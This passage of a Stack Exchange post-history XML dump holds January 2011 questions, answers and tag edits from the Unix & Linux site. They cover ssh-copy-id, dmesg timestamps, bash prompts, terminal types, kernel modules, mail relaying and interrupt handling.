  <row Id="13081" PostHistoryTypeId="5" PostId="5803" RevisionGUID="7b8cfa6b-5a6a-47ec-9379-5c9776205167" CreationDate="2011-01-13T18:18:23.327" UserId="1207" Comment="deleted 4 characters in body" Text="If you have multiple ssh keys and already have one set up for authentication on the server or if you have some other non-password authentication system in place, I believe you can use `ssh-copy-id` to copy a ssh identity to the server.  In the `ssh-copy-id` manual page it says:&#xD;&#xA;&#xD;&#xA;&gt; ssh-copy-id is a script that uses ssh&#xD;&#xA;&gt; to  log  into  a  remote  machine&#xD;&#xA;&gt; (presumably  using  a login password,&#xD;&#xA;&gt; so password authentication should be&#xD;&#xA;&gt; enabled, unless you've done some&#xD;&#xA;&gt; clever use of multiple identities)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`ssh-copy-id` uses `ssh` to log into the remote machine, so if you can currently log into the machine, you can use `ssh-copy-id`.  If you can not log into the machine, then you can not use `ssh-copy-id`.  New id's will be appended to `~/.ssh/authorized_keys`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13082" PostHistoryTypeId="2" PostId="5804" RevisionGUID="a24f6e66-f9c7-4e81-b572-b08ebe0ad7b2" CreationDate="2011-01-13T18:47:42.630" UserId="1535" Text="`/var/log/messages`, `/var/log/syslog`, and some other log files use a timestamp which contains an absolute time, like `Jan 13 14:13:10`.&#xD;&#xA;&#xD;&#xA;`/var/log/Xorg.0.log` and `/var/log/dmesg`, as well as the output of `$ dmesg`, use a format that looks like&#xD;&#xA;&#xD;&#xA;    [50595.991610] malkovich: malkovich malkovich malkovich malkovich&#xD;&#xA;&#xD;&#xA;I'm guessing/gathering that the numbers represent seconds and microseconds since startup.&#xD;&#xA;&#xD;&#xA;However, my attempt to correlate these two sets of timestamps (using the output from `uptime`) gave a discrepancy of about 5000 seconds.&#xD;&#xA;&#xD;&#xA;This is roughly the amount of time my computer was suspended for.&#xD;&#xA;&#xD;&#xA;Is there a convenient way to map the numeric timestamps used by dmesg and Xorg into absolute timestamps?" />
  <row Id="13083" PostHistoryTypeId="1" PostId="5804" RevisionGUID="a24f6e66-f9c7-4e81-b572-b08ebe0ad7b2" CreationDate="2011-01-13T18:47:42.630" UserId="1535" Text="Correlating /var/log/* timestamps" />
  <row Id="13084" PostHistoryTypeId="3" PostId="5804" RevisionGUID="a24f6e66-f9c7-4e81-b572-b08ebe0ad7b2" CreationDate="2011-01-13T18:47:42.630" UserId="1535" Text="élinuxàéxorgàélogsàétimestampsàédmesgà" />
  <row Id="13085" PostHistoryTypeId="2" PostId="5805" RevisionGUID="4bea4594-c745-4cab-884b-b99cb2637616" CreationDate="2011-01-13T19:44:12.487" UserId="3629" Text="Here is a `bash` equivalent of Gilles' zsh solution.  Bash doesn't have a native terminfo module, but the `tput` command (bundled with `terminfo`) does much the same thing.&#xD;&#xA;&#xD;&#xA;    PS1_line2='[some status]'&#xD;&#xA;    PS1=&quot;\[$(tput cud1 &amp;&amp; tput cuu1 &amp;&amp; tput sc &amp;&amp; tput cud1 &amp;&amp; printf &quot;%s&quot; &quot;$PS1_line2&quot; &amp;&amp; tput rc)\]&quot;'\w \$ ' || PS1=&quot;$PS1_line2 :: &quot;'\w \$ '&#xD;&#xA;    tput el &gt;/dev/null &amp;&amp; trap 'tput el' DEBUG&#xD;&#xA;&#xD;&#xA;The way I've constructed the `PS1` assignment line, if the terminal doesn't support one of the capabilities, it will fall back to a one-line prompt.&#xD;&#xA;&#xD;&#xA;The `trap` line is a hacky way to emulate zsh's `preexec` function.  See http://superuser.com/questions/175799/ for more info." />
  <row Id="13086" PostHistoryTypeId="5" PostId="5802" RevisionGUID="c740a627-4759-416f-9a2f-9d7e25c318f4" CreationDate="2011-01-13T19:48:30.837" UserId="138" Comment="added TERM variable stuff" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many early PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too.&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT-100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some variant or other. Usually what's supported is some more modern variant, the most common being VT-102, VT-220 and VT-320. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like the xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses a variant of the ANSI terminal protocol. Like xterm, it is an extended variant, with more powerful features than were available on 1980s style glass terminals.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer and mainframe days. Most of them were able to emulate the VT-100 and other popular terminal protocols, but they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal." />
  <row Id="13087" PostHistoryTypeId="25" PostId="5800" RevisionGUID="1898d0e0-8dd9-4171-9194-51cc39501d93" CreationDate="2011-01-13T19:55:31.733" Comment="http://twitter.com/#!/StackUnix/status/25642117317533698" />
  <row Id="13088" PostHistoryTypeId="5" PostId="5802" RevisionGUID="bf9ef4cf-de05-4c5f-b028-f97807a881f4" CreationDate="2011-01-13T20:04:24.127" UserId="138" Comment="minor tweaks to Wyse section" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many early PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too.&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some variant or other. Sometimes you see this called the VT102 protocol, that being a later cost-reduced &amp;mdash; and therefore popular &amp;mdash; version of the same terminal design. Usually terminal emulators actually support one of the extensions to this protocol, introduced with newer DEC terminals. The most common are the VT220 and VT320 protocols. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; These protocols are a backwards-compatible series, so sometimes you'll have a terminal emulator that says it supports VT320, but is missing a few things, yet is still useful because it supports enough of that protocol to work with your programs. If you only use the VT220 subset of the protocol, that terminal emulator may be fully functional even though you've told `curses` (or whatever) that you want programs using it to use the VT320 protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like the xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses an extended variant of the ANSI terminal protocol, in the same spirit as the `xterm` protocols. Most of its extensions have to do with the differences between a PC and a glass terminal. For example, the IBM keyboard has some keys not on a DEC VT-whatever. (And vice versa.)&#xD;&#xA;&#xD;&#xA; Like Linux, some Unix systems have their own console terminal protocol, too. There's the `scoansi` ANSI X3.64 variant for SCO Unixes, for example.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer days. Although Wyse terminals were able to emulate the VT100 and other popular terminal protocols, they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal." />
  <row Id="13089" PostHistoryTypeId="2" PostId="5806" RevisionGUID="8d55b447-0f51-411e-b90b-d90ea79185d4" CreationDate="2011-01-13T20:10:52.840" UserId="885" Text="As far as I know, there is no speed difference.&#xD;&#xA;&#xD;&#xA;I think you will gain a few kB of kernel memory as the granularity of allocations is one page, so on typical architecture each module wastes an average of about 2kB (½ page) per would-be module. Even on embedded systems, that's hardly significant. You also gain a little disk space as the modules can be compressed in the same go as the kernel; that can be more relevant in embedded systems with little storage.&#xD;&#xA;&#xD;&#xA;If you can dispense with modules altogether, you save a little kernel memory (no need for the module loader), disk space (no need for the module utilities), and system complexity (no need to include module loading as a feature in your distribution). These points are quite attractive in some embedded designs where the hardware is not extensible.&#xD;&#xA;" />
  <row Id="13090" PostHistoryTypeId="5" PostId="5802" RevisionGUID="3c02098e-4b03-4411-92dc-faaae8e184aa" CreationDate="2011-01-13T20:15:18.403" UserId="138" Comment="added paragraph on consequences of incorrect TERM variable setting" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many early PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too.&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some variant or other. Sometimes you see this called the VT102 protocol, that being a later cost-reduced &amp;mdash; and therefore popular &amp;mdash; version of the same terminal design. Usually terminal emulators actually support one of the extensions to this protocol, introduced with newer DEC terminals. The most common are the VT220 and VT320 protocols. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; These protocols are a backwards-compatible series, so sometimes you'll have a terminal emulator that says it supports VT320, but is missing a few things, yet is still useful because it supports enough of that protocol to work with your programs. If you only use the VT220 subset of the protocol, that terminal emulator may be fully functional even though you've told `curses` (or whatever) that you want programs using it to use the VT320 protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like the xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses an extended variant of the ANSI terminal protocol, in the same spirit as the `xterm` protocols. Most of its extensions have to do with the differences between a PC and a glass terminal. For example, the IBM keyboard has some keys not on a DEC VT-whatever. (And vice versa.)&#xD;&#xA;&#xD;&#xA; Like Linux, some Unix systems have their own console terminal protocol, too. There's the `scoansi` ANSI X3.64 variant for SCO Unixes, for example.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer days. Although Wyse terminals were able to emulate the VT100 and other popular terminal protocols, they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal.&#xD;&#xA;&#xD;&#xA;Because so many of these protocols are ANSI variants, and because the ubiquitous ASCII and UTF-8 character coding standards take care of so much else, an incorrect `TERM` variable isn't typically catastrophic. Things that tend to break are extended keys like Home and Page Up, Alt-whatever key combinations, and typographical display features like color, boldface, etc." />
  <row Id="13091" PostHistoryTypeId="6" PostId="5778" RevisionGUID="58c7c79b-fbf9-43c2-8478-427dfad051bb" CreationDate="2011-01-13T20:19:52.297" UserId="3069" Comment="edited tags" Text="écommandölineàéshellà" />
  <row Id="13092" PostHistoryTypeId="2" PostId="5807" RevisionGUID="15a2c9ef-7138-4167-916f-58565886859b" CreationDate="2011-01-13T20:21:58.447" UserId="3686" Text="Besides the aforementioned sar, I'd recommend [atop][1]. It saves a binary log that you can peruse afterwards, and besides memory saves a lot of other information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/atop" />
  <row Id="13093" PostHistoryTypeId="2" PostId="5808" RevisionGUID="60c97d73-70cf-45e5-96e8-4ba336587267" CreationDate="2011-01-13T20:24:43.263" UserId="885" Text="What kind of access do you have to the target? If you can ssh into it, it's just&#xD;&#xA;&#xD;&#xA;    rsync -au &quot;$RFS&quot; target:/&#xD;&#xA;&#xD;&#xA;Note that you'll need an `rsync` executable on the target as well.&#xD;&#xA;&#xD;&#xA;You'll want to set up some kind of passwordless authentication. I guess during development you would just allow root so ssh in, and put a public key for root in place. If the ssh server on the target is OpenSSH, then you need `PermitRootLogin Yes` in `/etc/sshd_config` (or `/etc/ssh/sshd_config` or something), and the root public key would be in `/root/.ssh/authorized_keys` or `/.ssh/authorized_keys` depending on where root's home directory is set in `/etc/password`.&#xD;&#xA;&#xD;&#xA;If you changed the bootloader, and perhaps if you changed the kernel, you'll also need to run the bootloader update utility.&#xD;&#xA;" />
  <row Id="13094" PostHistoryTypeId="2" PostId="5809" RevisionGUID="91aa35f4-b19f-41f6-b859-48e7df4ff7ba" CreationDate="2011-01-13T20:27:52.093" UserId="3686" Text="My recommendation would be nullmailer too. We were in a similar situation before (need to use a second MTA in Zimbra boxes for system-generated mail) and it fits the bill nicely.&#xD;&#xA;&#xD;&#xA;However, your requisite of not using /var is a hurdle. Could you elaborate on the reasons why? If the problem is using the disk at all, you could mount nullmailer's queue on tmpfs. It wouldn't be quite safe, but at least it wouldn't touch the disk at all.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13095" PostHistoryTypeId="6" PostId="5801" RevisionGUID="2800885d-ee6e-4dab-9b9e-8aaf957b6899" CreationDate="2011-01-13T20:30:56.863" UserId="885" Comment="edited tags" Text="ésshàékeyöauthenticationà" />
  <row Id="13096" PostHistoryTypeId="6" PostId="5776" RevisionGUID="8344f8b2-6dda-4009-87c2-657188446c51" CreationDate="2011-01-13T20:32:06.033" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàétopà" />
  <row Id="13097" PostHistoryTypeId="2" PostId="5810" RevisionGUID="51cd3987-be93-4130-9e73-527008c7aef5" CreationDate="2011-01-13T20:41:19.940" UserId="411" Text="If you haven't checked already, you should check if the package that you want is in [backports][1] before adding testing or unstable to your sources.  If it isn't, you'll want to be very careful about pulling in packages from other releases, they might also want to upgrade many other things on the system.&#xD;&#xA;&#xD;&#xA;  [1]: http://backports.debian.org/ &quot;backports&quot;" />
  <row Id="13098" PostHistoryTypeId="2" PostId="5811" RevisionGUID="5199fd96-5ebe-4eef-892a-1bf6b7a82e28" CreationDate="2011-01-13T20:54:25.030" UserId="2072" Text="Having a system for collecting performance statistics can be extremely useful. In the past, I've used [Munin][1] for this, and it has been invaluable in analyzing bottlenecks and various other issues. I was recently made aware of [collectd][2], which seems very similar to Munin.&#xD;&#xA;&#xD;&#xA;What are the major differences between Munin and Collectd, and how do you choose which one to use? Are there other monitoring applications that should be considered?&#xD;&#xA;&#xD;&#xA;  [1]: http://munin-monitoring.org/&#xD;&#xA;  [2]: http://collectd.org/" />
  <row Id="13099" PostHistoryTypeId="1" PostId="5811" RevisionGUID="5199fd96-5ebe-4eef-892a-1bf6b7a82e28" CreationDate="2011-01-13T20:54:25.030" UserId="2072" Text="How do you choose which monitoring application to use?" />
  <row Id="13100" PostHistoryTypeId="3" PostId="5811" RevisionGUID="5199fd96-5ebe-4eef-892a-1bf6b7a82e28" CreationDate="2011-01-13T20:54:25.030" UserId="2072" Text="émonitoringàémuninà" />
  <row Id="13101" PostHistoryTypeId="2" PostId="5812" RevisionGUID="ab51689b-c22b-455e-9615-faa5c515c8b7" CreationDate="2011-01-13T21:05:54.680" UserId="3309" Text="IMHO, the easiest way to do this is to install postfix (if debconf asks you questions, pick &quot;internet site&quot;), then run these commands:&#xD;&#xA;&#xD;&#xA;    postconf -e relayhost=other.mailserver.com&#xD;&#xA;    postconf -e mailname=my.domainname.com&#xD;&#xA;&#xD;&#xA;As long as the SMTP server specified in `relayhost` doesn't require authentication, allows you to relay or is a valid destination for the recipient address this will work.&#xD;&#xA;&#xD;&#xA;The `mailname` parameter will be the default domain name. So if you send mail to foo it will go to foo@my.domainname.com. Mail sent by user bar will be from bar@my.domainname.com." />
  <row Id="13102" PostHistoryTypeId="2" PostId="5813" RevisionGUID="7429fc90-07af-41e7-bc33-145c779ff8c2" CreationDate="2011-01-13T21:13:48.937" UserId="3309" Text="A single physical hyperthreaded processor will appear as two logical processors. Thus your dual core processor in which each core is hyperthreaded will appear as four logical processors to things like top, cpuinfo, prstat, activity monitor, etc." />
  <row Id="13103" PostHistoryTypeId="2" PostId="5814" RevisionGUID="86ea7738-1fc7-461c-bbaf-3748768c188f" CreationDate="2011-01-13T21:19:46.500" UserId="3309" Text="There's no danger in removing the battery as long as you've got line power. I (used to*) do it all the time.&#xD;&#xA;&#xD;&#xA;\* I now have a MacBook Pro without a removable battery." />
  <row Id="13105" PostHistoryTypeId="5" PostId="5799" RevisionGUID="60323f6d-7c52-4423-8915-c58d32fccd63" CreationDate="2011-01-13T21:48:03.083" UserId="1207" Comment="added 102 characters in body" Text="An alternative to `sed` for simple things like this is `tr`:&#xD;&#xA;&#xD;&#xA;    top -p $(pidof program | tr ' ' ',')&#xD;&#xA;&#xD;&#xA;`tr` can also easily handle a variable number of spaces:&#xD;&#xA;&#xD;&#xA;    tr -s ' ' ','&#xD;&#xA;&#xD;&#xA;Additionally, if you have it available, `pgrep` can work well here:&#xD;&#xA;&#xD;&#xA;    top -p $(pgrep -d, program)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13106" PostHistoryTypeId="2" PostId="5816" RevisionGUID="ad06aab1-21a0-4d9d-8454-8f92d007d264" CreationDate="2011-01-13T22:02:25.367" UserId="885" Text="Here's a high-level view of the low-level processing. I'm describing a simple typical architecture, real architectures can be more complex or differ in ways that don't matter at this level of detail.&#xD;&#xA;&#xD;&#xA;When an [interrupt](http://en.wikipedia.org/wiki/Interrupt) occurs, the processor looks if interrupts are masked. If they are, nothing happens until they are unmasked. When interrupts become unmasked, if there are any pending interrupts, the processor picks one.&#xD;&#xA;&#xD;&#xA;Then the processor executes the interrupt by branching to a particular address in memory. The code at that address is called the [interrupt handler](http://en.wikipedia.org/wiki/Interrupt_handler). When the processor branches there, it masks interrupts (so the interrupt handler has exclusive control) and saves the contents of some registers in some place (typically other registers).&#xD;&#xA;&#xD;&#xA;The interrupt handler does what it must do, typically by communicating with the peripheral that triggered the interrupt to send or receive data. If the interrupt was raised by the timer, the handler might trigger the OS scheduler, to switch to a different thread. When the handler finishes executing, it executes a special return-from-interrupt instruction that restores the saved registers and unmasks interrupts.&#xD;&#xA;&#xD;&#xA;The interrupt handler must run quickly, because it's preventing any other interrupt from running. In the Linux kernel, interrupt processing is divided in two parts:&#xD;&#xA;&#xD;&#xA;* The “top half” is the interrupt handler. It does the minimum necessary, typically communicate with the hardware and set a flag somewhere in kernel memory.&#xD;&#xA;* The “bottom half” does any other necessary processing, for example copying data into process memory, updating kernel data structures, etc. It can take its time and even block waiting for some other part of the system since it runs with interrupts enabled.&#xD;&#xA;&#xD;&#xA;As usual on this topic, for more information, read [Linux Device Drivers](http://lwn.net/images/pdf/LDD3/); [chapter 10](http://lwn.net/images/pdf/LDD3/ch10.pdf) is about interrupts.&#xD;&#xA;" />
  <row Id="13107" PostHistoryTypeId="6" PostId="5788" RevisionGUID="71a474d0-2a4c-42c2-8515-818891b10a5f" CreationDate="2011-01-13T22:02:42.780" UserId="885" Comment="edited tags" Text="élinuxàékernelàéinterruptà" />
  <row Id="13108" PostHistoryTypeId="2" PostId="5817" RevisionGUID="6c3ce1dd-0a34-41cf-9cea-e069ee051e5d" CreationDate="2011-01-13T22:04:21.140" UserId="3723" Text="Here are a couple really great blog posts describing various techniques for hunting down low-level kernel source code.&#xD;&#xA;&#xD;&#xA; - http://hostilefork.com/2010/03/14/where-the-printf-rubber-meets-the-road&#xD;&#xA; - http://sysadvent.blogspot.com/2010/12/day-15-down-ls-rabbit-hole.html" />
  <row Id="13109" PostHistoryTypeId="2" PostId="5818" RevisionGUID="b9726682-48ab-44c8-b3e8-c3eab4f3999a" CreationDate="2011-01-13T22:04:23.933" UserId="1149" Text="Occasionally when the need arises I just do &quot;top -d 1 -b |grep &lt;process&gt; &gt;&gt;somefile&quot; . Not an elegant solution, but gets the job done if you want the quick crude value to verify your hypothesis. " />
  <row Id="13110" PostHistoryTypeId="5" PostId="4432" RevisionGUID="d72c6c5f-c43f-4866-93c3-7f0701d59065" CreationDate="2011-01-13T22:19:38.030" UserId="2179" Comment=":|" Text="You need the `./` bit to tell the shell where the executable is, since the current directory is unlikely to be in `$PATH`.&#xD;&#xA;&#xD;&#xA;You can use [`which`][2] to get the full path to &quot;other commands.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/gcc&#xD;&#xA;  [2]: http://linux.die.net/man/1/which" />
  <row Id="13111" PostHistoryTypeId="2" PostId="5819" RevisionGUID="e8554ba0-7583-410a-b935-385266f566fd" CreationDate="2011-01-13T22:20:57.520" UserId="3724" Text="Interesting problem, Not sure I've ever tried to do this. But I have notice the timestamp you are talking about and I have always belived it to be seconds since bootup. &#xD;&#xA;&#xD;&#xA;In my syslog I have on my server, I have:&#xD;&#xA;&#xD;&#xA;    Jan 10 19:58:55 wdgitial kernel: [    0.000000] Initializing cgroup subsys cpuset&#xD;&#xA;    Jan 10 19:58:55 wdgitial kernel: [    0.000000] Initializing cgroup subsys cpu&#xD;&#xA;    Jan 10 19:58:55 wdgitial kernel: [    0.000000] Linux version 2.6.32-21-server (buildd@yellow) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #32-Ubuntu SMP Fri Apr 16     09:17:34 UTC 2010 (Ubuntu 2.6.32-21.32-server 2.6.32.11+drm33.2)&#xD;&#xA;    Jan 10 19:58:55 wdgitial kernel: [    0.000000] Command line:  root=/dev/xvda1 ro quiet splash&#xD;&#xA;&#xD;&#xA;I would imagine this is fairly consistent among most Linux distro's as this is the kernel spitting out it's stuff.&#xD;&#xA;&#xD;&#xA;And here I have the date along with the timestamp." />
  <row Id="13112" PostHistoryTypeId="5" PostId="3258" RevisionGUID="b28efe69-0723-4f46-bf12-8c6675c5ef30" CreationDate="2011-01-13T22:22:12.943" UserId="73" Comment="added 27 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your question applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/64068/is-it-possible-to-post-questions-across-a-couple-of-the-sites-because-its-debata/64073#64073) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on 